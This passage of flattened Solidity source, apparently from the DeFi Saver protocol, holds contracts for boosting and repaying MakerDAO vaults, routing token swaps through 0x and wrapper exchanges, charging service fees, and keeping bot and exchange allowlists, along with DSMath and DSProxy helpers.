0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; Vat public constant vat = Vat(VAT_ADDRESS); DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Repay - draws collateral, converts to Dai and repays the debt /// @dev Must be called by the DSProxy contract that owns the CDP function repay( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr, ManagerType _managerType ) public payable { address managerAddr = getManagerAddr(_managerType); address user = getOwner(Manager(managerAddr), _cdpId); bytes32 ilk = Manager(managerAddr).ilks(_cdpId); drawCollateral(managerAddr, _cdpId, _joinAddr, _exchangeData.srcAmount); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; (, uint daiAmount) = _sell(_exchangeData); daiAmount -= takeFee(_gasCost, daiAmount); paybackDebt(managerAddr, _cdpId, ilk, daiAmount, user); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } logger.Log(address(this), msg.sender, "MCDRepay", abi.encode(_cdpId, user, _exchangeData.srcAmount, daiAmount)); } /// @notice Boost - draws Dai, converts to collateral and adds to CDP /// @dev Must be called by the DSProxy contract that owns the CDP function boost( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr, ManagerType _managerType ) public payable { address managerAddr = getManagerAddr(_managerType); address user = getOwner(Manager(managerAddr), _cdpId); bytes32 ilk = Manager(managerAddr).ilks(_cdpId); uint daiDrawn = drawDai(managerAddr, _cdpId, ilk, _exchangeData.srcAmount); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exchangeData.srcAmount = daiDrawn - takeFee(_gasCost, daiDrawn); (, uint swapedColl) = _sell(_exchangeData); addCollateral(managerAddr, _cdpId, _joinAddr, swapedColl); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } logger.Log(address(this), msg.sender, "MCDBoost", abi.encode(_cdpId, user, _exchangeData.srcAmount, swapedColl)); } /// @notice Draws Dai from the CDP /// @dev If _daiAmount is bigger than max available we'll draw max /// @param _managerAddr Address of the CDP Manager /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _daiAmount Amount of Dai to draw function drawDai(address _managerAddr, uint _cdpId, bytes32 _ilk, uint _daiAmount) internal returns (uint) { uint rate = Jug(JUG_ADDRESS).drip(_ilk); uint daiVatBalance = vat.dai(Manager(_managerAddr).urns(_cdpId)); uint maxAmount = getMaxDebt(_managerAddr, _cdpId, _ilk); if (_daiAmount >= maxAmount) { _daiAmount = sub(maxAmount, 1); } Manager(_managerAddr).frob(_cdpId, int(0), normalizeDrawAmount(_daiAmount, rate, daiVatBalance)); Manager(_managerAddr).move(_cdpId, address(this), toRad(_daiAmount)); if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) { vat.hope(DAI_JOIN_ADDRESS); } DaiJoin(DAI_JOIN_ADDRESS).exit(address(this), _daiAmount); return _daiAmount; } /// @notice Adds collateral to the CDP /// @param _managerAddr Address of the CDP Manager /// @param _cdpId Id of the CDP /// @param _joinAddr Address of the join contract for the CDP collateral /// @param _amount Amount of collateral to add function addCollateral(address _managerAddr, uint _cdpId, address _joinAddr, uint _amount) internal { int convertAmount = 0; if (isEthJoinAddr(_joinAddr)) { Join(_joinAddr).gem().deposit{value: _amount}(); convertAmount = toPositiveInt(_amount); } else { convertAmount = toPositiveInt(convertTo18(_joinAddr, _amount)); } ERC20(address(Join(_joinAddr).gem())).safeApprove(_joinAddr, _amount); Join(_joinAddr).join(address(this), _amount); vat.frob( Manager(_managerAddr).ilks(_cdpId), Manager(_managerAddr).urns(_cdpId), address(this), address(this), convertAmount, 0 ); } /// @notice Draws collateral and returns it to DSProxy /// @param _managerAddr Address of the CDP Manager /// @dev If _amount is bigger than max available we'll draw max /// @param _cdpId Id of the CDP /// @param _joinAddr Address of the join contract for the CDP collateral /// @param _amount Amount of collateral to draw function drawCollateral(address _managerAddr, uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) { uint frobAmount = _amount; if (Join(_joinAddr).dec() != 18) { frobAmount = _amount * (10 ** (18 - Join(_joinAddr).dec())); } Manager(_managerAddr).frob(_cdpId, -toPositiveInt(frobAmount), 0); Manager(_managerAddr).flux(_cdpId, address(this), frobAmount); Join(_joinAddr).exit(address(this), _amount); if (isEthJoinAddr(_joinAddr)) { Join(_joinAddr).gem().withdraw(_amount); // Weth -> Eth } return _amount; } /// @notice Paybacks Dai debt /// @param _managerAddr Address of the CDP Manager /// @dev If the _daiAmount is bigger than the whole debt, returns extra Dai /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _daiAmount Amount of Dai to payback /// @param _owner Address that owns the DSProxy that owns the CDP function paybackDebt(address _managerAddr, uint _cdpId, bytes32 _ilk, uint _daiAmount, address _owner) internal { address urn = Manager(_managerAddr).urns(_cdpId); uint wholeDebt = getAllDebt(VAT_ADDRESS, urn, urn, _ilk); if (_daiAmount > wholeDebt) { ERC20(DAI_ADDRESS).transfer(_owner, sub(_daiAmount, wholeDebt)); _daiAmount = wholeDebt; } if (ERC20(DAI_ADDRESS).allowance(address(this), DAI_JOIN_ADDRESS) == 0) { ERC20(DAI_ADDRESS).approve(DAI_JOIN_ADDRESS, uint(-1)); } daiJoin.join(urn, _daiAmount); Manager(_managerAddr).frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk)); } /// @notice Gets the maximum amount of collateral available to draw /// @param _managerAddr Address of the CDP Manager /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @param _joinAddr Joind address of collateral /// @dev Substracts 10 wei to aviod rounding error later on function getMaxCollateral(address _managerAddr, uint _cdpId, bytes32 _ilk, address _joinAddr) public view returns (uint) { uint price = getPrice(_ilk); (uint collateral, uint debt) = getCdpInfo(Manager(_managerAddr), _cdpId, _ilk); (, uint mat) = Spotter(SPOTTER_ADDRESS).ilks(_ilk); uint maxCollateral = sub(collateral, (div(mul(mat, debt), price))); uint normalizeMaxCollateral = maxCollateral / (10 ** (18 - Join(_joinAddr).dec())); // take one percent due to precision issues return normalizeMaxCollateral * 99 / 100; } /// @notice Gets the maximum amount of debt available to generate /// @param _managerAddr Address of the CDP Manager /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP /// @dev Substracts 10 wei to aviod rounding error later on function getMaxDebt(address _managerAddr, uint _cdpId, bytes32 _ilk) public virtual view returns (uint) { uint price = getPrice(_ilk); (, uint mat) = spotter.ilks(_ilk); (uint collateral, uint debt) = getCdpInfo(Manager(_managerAddr), _cdpId, _ilk); return sub(sub(div(mul(collateral, price), mat), debt), 10); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint) { (, uint mat) = spotter.ilks(_ilk); (,,uint spot,,) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } function isAutomation() internal view returns(bool) { return BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin); } function takeFee(uint256 _gasCost, uint _amount) internal returns(uint) { if (_gasCost > 0) { uint ethDaiPrice = getPrice(ETH_ILK); uint feeAmount = rmul(_gasCost, ethDaiPrice); if (feeAmount > _amount / 5) { feeAmount = _amount / 5; } address walletAddr = _feeRecipient.getFeeAddr(); ERC20(DAI_ADDRESS).transfer(walletAddr, feeAmount); return feeAmount; } return 0; } } pragma solidity ^0.6.0; contract Discount { address public owner; mapping(address => CustomServiceFee) public serviceFees; uint256 constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint256 amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint256) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); } function disableServiceFee(address _user) public { require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({active: false, amount: 0}); } } pragma solidity ^0.6.0; import "./PipInterface.sol"; abstract contract Spotter { struct Ilk { PipInterface pip; uint256 mat; } mapping (bytes32 => Ilk) public ilks; uint256 public par; } pragma solidity ^0.6.0; abstract contract Jug { struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; function drip(bytes32) public virtual returns (uint); } pragma solidity ^0.6.0; import "./Vat.sol"; import "./Gem.sol"; abstract contract DaiJoin { function vat() public virtual returns (Vat); function dai() public virtual returns (Gem); function join(address, uint) public virtual payable; function exit(address, uint) public virtual; } pragma solidity ^0.6.0; import "./Gem.sol"; abstract contract Join { bytes32 public ilk; function dec() virtual public view returns (uint); function gem() virtual public view returns (Gem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } pragma solidity ^0.6.0; import "../../DS/DSMath.sol"; import "../../DS/DSProxy.sol"; import "../../interfaces/Manager.sol"; import "../../interfaces/Join.sol"; import "../../interfaces/Vat.sol"; /// @title Helper methods for MCDSaverProxy contract MCDSaverProxyHelper is DSMath { enum ManagerType { MCD, BPROTOCOL } /// @notice Returns a normalized debt _amount based on the current rate /// @param _amount Amount of dai to be normalized /// @param _rate Current rate of the stability fee /// @param _daiVatBalance Balance od Dai in the Vat for that CDP function normalizeDrawAmount(uint _amount, uint _rate, uint _daiVatBalance) internal pure returns (int dart) { if (_daiVatBalance < mul(_amount, RAY)) { dart = toPositiveInt(sub(mul(_amount, RAY), _daiVatBalance) / _rate); dart = mul(uint(dart), _rate) < mul(_amount, RAY) ? dart + 1 : dart; } } /// @notice Converts a number to Rad percision /// @param _wad The input number in wad percision function toRad(uint _wad) internal pure returns (uint) { return mul(_wad, 10 ** 27); } /// @notice Converts a number to 18 decimal percision /// @param _joinAddr Join address of the collateral /// @param _amount Number to be converted function convertTo18(address _joinAddr, uint256 _amount) internal view returns (uint256) { return mul(_amount, 10 ** (18 - Join(_joinAddr).dec())); } /// @notice Converts a uint to int and checks if positive /// @param _x Number to be converted function toPositiveInt(uint _x) internal pure returns (int y) { y = int(_x); require(y >= 0, "int-overflow"); } /// @notice Gets Dai amount in Vat which can be added to Cdp /// @param _vat Address of Vat contract /// @param _urn Urn of the Cdp /// @param _ilk Ilk of the Cdp function normalizePaybackAmount(address _vat, address _urn, bytes32 _ilk) internal view returns (int amount) { uint dai = Vat(_vat).dai(_urn); (, uint rate,,,) = Vat(_vat).ilks(_ilk); (, uint art) = Vat(_vat).urns(_ilk, _urn); amount = toPositiveInt(dai / rate); amount = uint(amount) <= art ? - amount : - toPositiveInt(art); } /// @notice Gets the whole debt of the CDP /// @param _vat Address of Vat contract /// @param _usr Address of the Dai holder /// @param _urn Urn of the Cdp /// @param _ilk Ilk of the Cdp function getAllDebt(address _vat, address _usr, address _urn, bytes32 _ilk) internal view returns (uint daiAmount) { (, uint rate,,,) = Vat(_vat).ilks(_ilk); (, uint art) = Vat(_vat).urns(_ilk, _urn); uint dai = Vat(_vat).dai(_usr); uint rad = sub(mul(art, rate), dai); daiAmount = rad / RAY; daiAmount = mul(daiAmount, RAY) < rad ? daiAmount + 1 : daiAmount; } /// @notice Gets the token address from the Join contract /// @param _joinAddr Address of the Join contract function getCollateralAddr(address _joinAddr) internal view returns (address) { return address(Join(_joinAddr).gem()); } /// @notice Checks if the join address is one of the Ether coll. types /// @param _joinAddr Join address to check function isEthJoinAddr(address _joinAddr) internal view returns (bool) { // if it's dai_join_addr don't check gem() it will fail if (_joinAddr == 0x9759A6Ac90977b93B58547b4A71c78317f391A28) return false; // if coll is weth it's and eth type coll if (address(Join(_joinAddr).gem()) == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) { return true; } return false; } /// @notice Gets CDP info (collateral, debt) /// @param _manager Manager contract /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getCdpInfo(Manager _manager, uint _cdpId, bytes32 _ilk) public view returns (uint, uint) { address vat = _manager.vat(); address urn = _manager.urns(_cdpId); (uint collateral, uint debt) = Vat(vat).urns(_ilk, urn); (,uint rate,,,) = Vat(vat).ilks(_ilk); return (collateral, rmul(debt, rate)); } /// @notice Address that owns the DSProxy that owns the CDP /// @param _manager Manager contract /// @param _cdpId Id of the CDP function getOwner(Manager _manager, uint _cdpId) public view returns (address) { DSProxy proxy = DSProxy(uint160(_manager.owns(_cdpId))); return proxy.owner(); } /// @notice Based on the manager type returns the address /// @param _managerType Type of vault manager to use function getManagerAddr(ManagerType _managerType) public pure returns (address) { if (_managerType == ManagerType.MCD) { return 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; } else if (_managerType == ManagerType.BPROTOCOL) { return 0x3f30c2381CD8B917Dd96EB2f1A4F96D91324BBed; } } } pragma solidity ^0.6.0; import "../auth/AdminAuth.sol"; contract BotRegistry is AdminAuth { mapping (address => bool) public botList; constructor() public { botList[0x776B4a13093e30B05781F97F6A4565B6aa8BE330] = true; botList[0xAED662abcC4FA3314985E67Ea993CAD064a7F5cF] = true; botList[0xa5d330F6619d6bF892A5B87D80272e1607b3e34D] = true; botList[0x5feB4DeE5150B589a7f567EA7CADa2759794A90A] = true; botList[0x7ca06417c1d6f480d3bB195B80692F95A6B66158] = true; } function setBot(address _botAddr, bool _state) public onlyOwner { botList[_botAddr] = _state; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../DS/DSMath.sol"; import "../interfaces/TokenInterface.sol"; import "../interfaces/ExchangeInterfaceV3.sol"; import "../utils/ZrxAllowlist.sol"; import "./DFSExchangeData.sol"; import "./DFSExchangeHelper.sol"; import "../exchange/SaverExchangeRegistry.sol"; import "../interfaces/OffchainWrapperInterface.sol"; contract DFSExchangeCore is DFSExchangeHelper, DSMath, DFSExchangeData { string public constant ERR_SLIPPAGE_HIT = "Slippage hit"; string public constant ERR_DEST_AMOUNT_MISSING = "Dest amount missing"; string public constant ERR_WRAPPER_INVALID = "Wrapper invalid"; string public constant ERR_NOT_ZEROX_EXCHANGE = "Zerox exchange invalid"; /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(EXCHANGE_WETH_ADDRESS).deposit{value: exData.srcAmount}(); } exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // Try 0x first and then fallback on specific wrapper if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.SELL); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } // if anything is left in weth, pull it to user as eth if (getBalance(EXCHANGE_WETH_ADDRESS) > 0) { TokenInterface(EXCHANGE_WETH_ADDRESS).withdraw( TokenInterface(EXCHANGE_WETH_ADDRESS).balanceOf(address(this)) ); } if (exData.destAddr == EXCHANGE_WETH_ADDRESS) { require(getBalance(KYBER_ETH_ADDRESS) >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); } else { require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), ERR_SLIPPAGE_HIT); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, ERR_DEST_AMOUNT_MISSING); exData.srcAmount -= getFee(exData.srcAmount, exData.user, exData.srcAddr, exData.dfsFeeDivider); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(EXCHANGE_WETH_ADDRESS).deposit{value: exData.srcAmount}(); } if (exData.offchainData.price > 0) { (success, swapedTokens) = takeOrder(exData, ActionType.BUY); if (success) { wrapper = exData.offchainData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } // if anything is left in weth, pull it to user as eth if (getBalance(EXCHANGE_WETH_ADDRESS) > 0) { TokenInterface(EXCHANGE_WETH_ADDRESS).withdraw( TokenInterface(EXCHANGE_WETH_ADDRESS).balanceOf(address(this)) ); } if (exData.destAddr == EXCHANGE_WETH_ADDRESS) { require(getBalance(KYBER_ETH_ADDRESS) >= exData.destAmount, ERR_SLIPPAGE_HIT); } else { require(getBalance(exData.destAddr) >= exData.destAmount, ERR_SLIPPAGE_HIT); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data function takeOrder( ExchangeData memory _exData, ActionType _type ) private returns (bool success, uint256) { if (!ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.offchainData.exchangeAddr)) { return (false, 0); } if (!SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.offchainData.wrapper)) { return (false, 0); } // send src amount ERC20(_exData.srcAddr).safeTransfer(_exData.offchainData.wrapper, _exData.srcAmount); return OffchainWrapperInterface(_exData.offchainData.wrapper).takeOrder{value: _exData.offchainData.protocolFee}(_exData, _type); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), ERR_WRAPPER_INVALID); ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). sell(_exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.wrapperData); } else { swapedTokens = ExchangeInterfaceV3(_exData.wrapper). buy(_exData.srcAddr, _exData.destAddr, _exData.destAmount, _exData.wrapperData); } } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } pragma solidity ^0.6.0; abstract contract PipInterface { function read() public virtual returns (bytes32); } pragma solidity ^0.6.0; abstract contract Gem { function dec() virtual public returns (uint); function gem() virtual public returns (Gem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; function approve(address, uint) virtual public; function transfer(address, uint) virtual public returns (bool); function transferFrom(address, address, uint) virtual public returns (bool); function deposit() virtual public payable; function withdraw(uint) virtual public; function allowance(address, address) virtual public returns (uint); } pragma solidity ^0.6.0; contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } pragma solidity ^0.6.0; import "./DSAuth.sol"; import "./DSNote.sol"; abstract contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) public { require(setCache(_cacheAddr)); } // solhint-disable-next-line no-empty-blocks receive() external payable {} // use the proxy to execute calldata _data on contract _code // function execute(bytes memory _code, bytes memory _data) // public // payable // virtual // returns (address target, bytes32 response); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32 response); //set new cache function setCache(address _cacheAddr) public virtual payable returns (bool); } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } pragma solidity ^0.6.0; contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } pragma solidity ^0.6.0; abstract contract TokenInterface { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; function allowance(address, address) public virtual returns (uint256); function balanceOf(address) public virtual returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function deposit() public virtual payable; function withdraw(uint256) public virtual; } pragma solidity ^0.6.0; interface ExchangeInterfaceV3 { function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external view returns (uint); } pragma solidity ^0.6.0; import "../auth/AdminAuth.sol"; contract ZrxAllowlist is AdminAuth { mapping (address => bool) public zrxAllowlist; mapping(address => bool) private nonPayableAddrs; constructor() public { zrxAllowlist[0x6958F5e95332D93D21af0D7B9Ca85B8212fEE0A5] = true; zrxAllowlist[0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef] = true; zrxAllowlist[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true; zrxAllowlist[0x080bf510FCbF18b91105470639e9561022937712] = true; nonPayableAddrs[0x080bf510FCbF18b91105470639e9561022937712] = true; } function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner { zrxAllowlist[_zrxAddr] = _state; } function isZrxAddr(address _zrxAddr) public view returns (bool) { return zrxAllowlist[_zrxAddr]; } function addNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = true; } function removeNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = false; } function isNonPayableAddr(address _addr) public view returns(bool) { return nonPayableAddrs[_addr]; } } pragma solidity ^0.6.0; import "../utils/SafeERC20.sol"; import "../utils/Discount.sol"; import "../interfaces/IFeeRecipient.sol"; contract DFSExchangeHelper { string public constant ERR_OFFCHAIN_DATA_INVALID = "Offchain data invalid"; using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant EXCHANGE_WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IFeeRecipient public constant _feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } /// @notice Takes a feePercentage and sends it to wallet /// @param _amount Dai amount of the whole trade /// @param _user Address of the user /// @param _token Address of the token /// @param _dfsFeeDivider Dfs fee divider /// @return feeAmount Amount in Dai owner earned on the fee function getFee(uint256 _amount, address _user, address _token, uint256 _dfsFeeDivider) internal returns (uint256 feeAmount) { if (_dfsFeeDivider != 0 && Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_user)) { _dfsFeeDivider = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_user); } if (_dfsFeeDivider == 0) { feeAmount = 0; } else { feeAmount = _amount / _dfsFeeDivider; // fee can't go over 10% of the whole amount if (feeAmount > (_amount / 10)) { feeAmount = _amount / 10; } address walletAddr = _feeRecipient.getFeeAddr(); if (_token == KYBER_ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(_token).safeTransfer(walletAddr, feeAmount); } } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert(ERR_OFFCHAIN_DATA_INVALID); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? EXCHANGE_WETH_ADDRESS : _src; } } pragma solidity ^0.6.0; import "../auth/AdminAuth.sol"; contract SaverExchangeRegistry is AdminAuth { mapping(address => bool) private wrappers; constructor() public { wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true; wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true; wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true; } function addWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = true; } function removeWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = false; } function isWrapper(address _wrapper) public view returns(bool) { return wrappers[_wrapper]; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../exchangeV3/DFSExchangeData.sol"; abstract contract OffchainWrapperInterface is DFSExchangeData { function takeOrder( ExchangeData memory _exData, ActionType _type ) virtual public payable returns (bool success, uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; abstract contract IFeeRecipient { function getFeeAddr() public view virtual returns (address); function changeWalletAddr(address _newWallet) public virtual; } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../saver/MCDSaverProxy.sol"; import "../../exchangeV3/DFSExchangeData.sol"; import "../../utils/GasBurner.sol"; import "../../interfaces/ILendingPool.sol"; contract MCDSaverTaker is MCDSaverProxy, GasBurner { address payable public constant MCD_SAVER_FLASH_LOAN = 0x9222c4f253bD0bdb387Fc97D44e5A6b90cDF4389; address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); function boostWithLoan( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr, ManagerType _managerType ) public payable burnGas(25) { address managerAddr = getManagerAddr(_managerType); uint256 maxDebt = getMaxDebt(managerAddr, _cdpId, Manager(managerAddr).ilks(_cdpId)); uint maxLiq = getAvailableLiquidity(DAI_JOIN_ADDRESS); if (maxDebt >= _exchangeData.srcAmount || maxLiq == 0) { if (_exchangeData.srcAmount > maxDebt) { _exchangeData.srcAmount = maxDebt; } boost(_exchangeData, _cdpId, 